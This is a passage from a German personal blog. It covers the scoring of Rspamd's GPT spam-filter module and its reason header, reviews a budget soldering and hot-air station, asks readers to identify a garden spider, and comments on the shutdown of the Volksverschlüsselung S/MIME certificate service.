  • X-Spamd-Result: [8.59 / 15.00] – Gesamtscore 8.59, Reject-Schwelle bei 15. Hier also kein Reject, sondern nur Add-Header.
  • GPT_SPAM(2.10)[0.85] – GPT meldet Spam mit 85 % Sicherheit ([0.85]). Daraus errechnet Rspamd den Beitrag ((…)), der in den Gesamtscore einfließt.
  • Die klassischen Checks wie VIOLATED_DIRECT_SPF(3.50) oder MISSING_MIMEOLE(2.00) haben ebenfalls beigetragen – GPT ist also nur ein Faktor im Gesamtbild.

Zusätzlich schreibt das GPT-Modul auf Wunsch auch eine kurze Begründung in den Mailheader:

X-GPT-Reason: This email is likely spam due to the urgency created around an unpaid invoice and the mismatch between the sender's domain and the company name.

Erklärung:

  • X-GPT-Reason – eigener Header, den du in gpt.conf mit reason_header = "X-GPT-Reason" aktivierst.
  • Der Text stammt direkt aus dem Modell und begründet die Einstufung (hier: Dringlichkeit „unpaid invoice“ + Domain/Company-Mismatch).
  • Nützlich für Analyse/Transparenz; kann auf MTA/MDA-Ebene wieder entfernt werden, wenn du ihn nicht bis zum Postfach durchreichen willst.

Ein Hinweis zum Datenschutz (gesamt)
Mit GPT-Integration gehen Mailinhalte an einen externen Dienst (z. B. OpenAI). Das kann datenschutzrechtlich relevant sein. Wer sensible oder personenbezogene Daten verarbeitet, sollte vorher prüfen, ob die Nutzung zulässig ist – oder alternativ ein selbst gehostetes, OpenAI-kompatibles Modell nutzen (z. B. Ollama). Den Reason-Header kannst du, falls nötig, serverseitig wieder entfernen.

Preciva 992D+ im Test: Löt- und Heißluftstation für Hobby & Repaircafé

Picture of Soldering Station Preciva 992D+

Weiter geht es mit einer Lötstation. Wie immer: Das ist ein Werkzeug, das ich selbst einsetze. Es bedeutet nicht, dass es das Beste der Welt ist oder dass man damit sofort eine professionelle SMD-Reparaturwerkstatt eröffnen sollte.

Ende des letzten Jahres war ich auf der Suche nach einer kompakten Lötstation, die eine ordentliche Wattleistung hat und eine Kombination aus Lötstation und Heißluftstation bietet. Sie sollte aber nicht zu teuer sein. Einzelne Geräte hatte ich zwar schon verschiedene, aber gedacht war es eher für den mobilen Einsatz im Repaircafé. Die dortigen Reparaturen sind meist überschaubar.

Dennoch muss ich zugeben, dass mich diese Station tatsächlich überrascht hat. Preis/Leistung sind wirklich gut. Fun Fact: Die FritzBox-Reparatur habe ich mit genau dieser Station gemacht – einfach um zu testen, was geht – und ja, es ging, und das sogar wirklich okay.

Natürlich ist sie nicht mit einer großen professionellen Station von beispielsweise Weller zu vergleichen. Aber das ist auch gar nicht der Anspruch. Das Ding kostet aktuell auf Amazon knapp 130 €. Dafür bekommt man 6 verschiedene Lötspitzen, Lötzinn, Heißluft mit verschiedenen Aufsätzen, ein digitales Display und ach … schaut mal selbst: https://amzn.to/47zAAmr

Ich würde behaupten: Die meisten Hobbyreparaturen – selbst im Bereich SMD – lassen sich damit problemlos durchführen. Aber hey, das ist nur meine Meinung 😀

Unbekannte Spinne im Garten: Wolfsspinne oder doch etwas anderes?

Picture of a dead spider.

Ich selbst habe kein Problem mit Spinnen – das ist aber beim Rest meiner Familie nicht immer gegeben. Wie auch immer: Ich bilde mir ein, die meisten Spinnenarten, die hier in NRW so im Garten vorkommen, schon mal irgendwann gesehen zu haben. In den letzten Wochen finde ich aber immer mal wieder ein paar – für meinen Eindruck – recht große Exemplare, wenn auch bisher immer nur tot.

Eines habe ich mal fotografiert und zum Größenvergleich neben eine 10-Cent-Münze gelegt. Die AI sagt, dass es eine Wolfsspinne ist. Da würde ich aber spontan eher nach Nordamerika schielen. Kurz: Ich habe keine Ahnung. Fällt jemandem von euch etwas ein? Was ist das für eine Spinne?!

Volksverschlüsselung wird eingestellt

An mir flog gerade die Information vorbei, dass die Volksverschlüsselung zum 31.01.2026 eingestellt wird. Ich habe mir dort vor ein paar Jahren mal ein S/MIME-Zertifikat für meine E-Mails geholt. Mir hat der Ansatz gefallen, dass man sich mit seinem neuen Personalausweis und dessen Online-Funktion dort legitimieren kann und im Anschluss sein Zertifikat bekommt. Für mich hat diese Abhängigkeit absolut Sinn ergeben. Wir haben ja schon alle einen Perso mit Online-Funktion und PIN und was weiß ich alles. Also warum nicht auch einfach und schnell Zertifikate darüber erstellen?

Screenshot der Meldung zur Einstellung des Dienstes Volksverschlüsselung.

Funktioniert hat das alles wirklich gut – leider mit dem gleichen Problemchen wie auch bei cacert.org: Die Root-Zertifikate sind nicht in den Trust Stores der Betriebssysteme, Browser, Mailclients usw. Signiert man also etwas damit, wird es beim Empfänger als ungültig und unsicher angezeigt, es sei denn, dieser installiert manuell die Root-Zertifikate. Das macht natürlich niemand. Damit war die Volksverschlüsselung für mich genauso raus wie leider auch cacert.org.

Nun hing hinter der Volksverschlüsselung ebenfalls das Fraunhofer-Institut. Meine Hoffnung war, dass über diesen Weg am Ende doch mal die Root-Zertifikate in die Trust Stores kommen. Aber leider nicht.

Die Diskussion, ob man Trust Stores wirklich braucht, ob man sie vor allem vorgefüllt braucht, mache ich genauso wenig auf wie DNSSEC und TLSA, ok? Denn uns allen ist ja inzwischen klar, dass wir es „sicher“ haben könnten – wenn man nur nicht so scheiß viel Geld mit den CAs verdienen könnte. Denn die ganzen CAs zahlen ja schon ein paar Euro, um in die Trust Stores zu kommen 😉

Soviel dann also zur Volksverschlüsselung.

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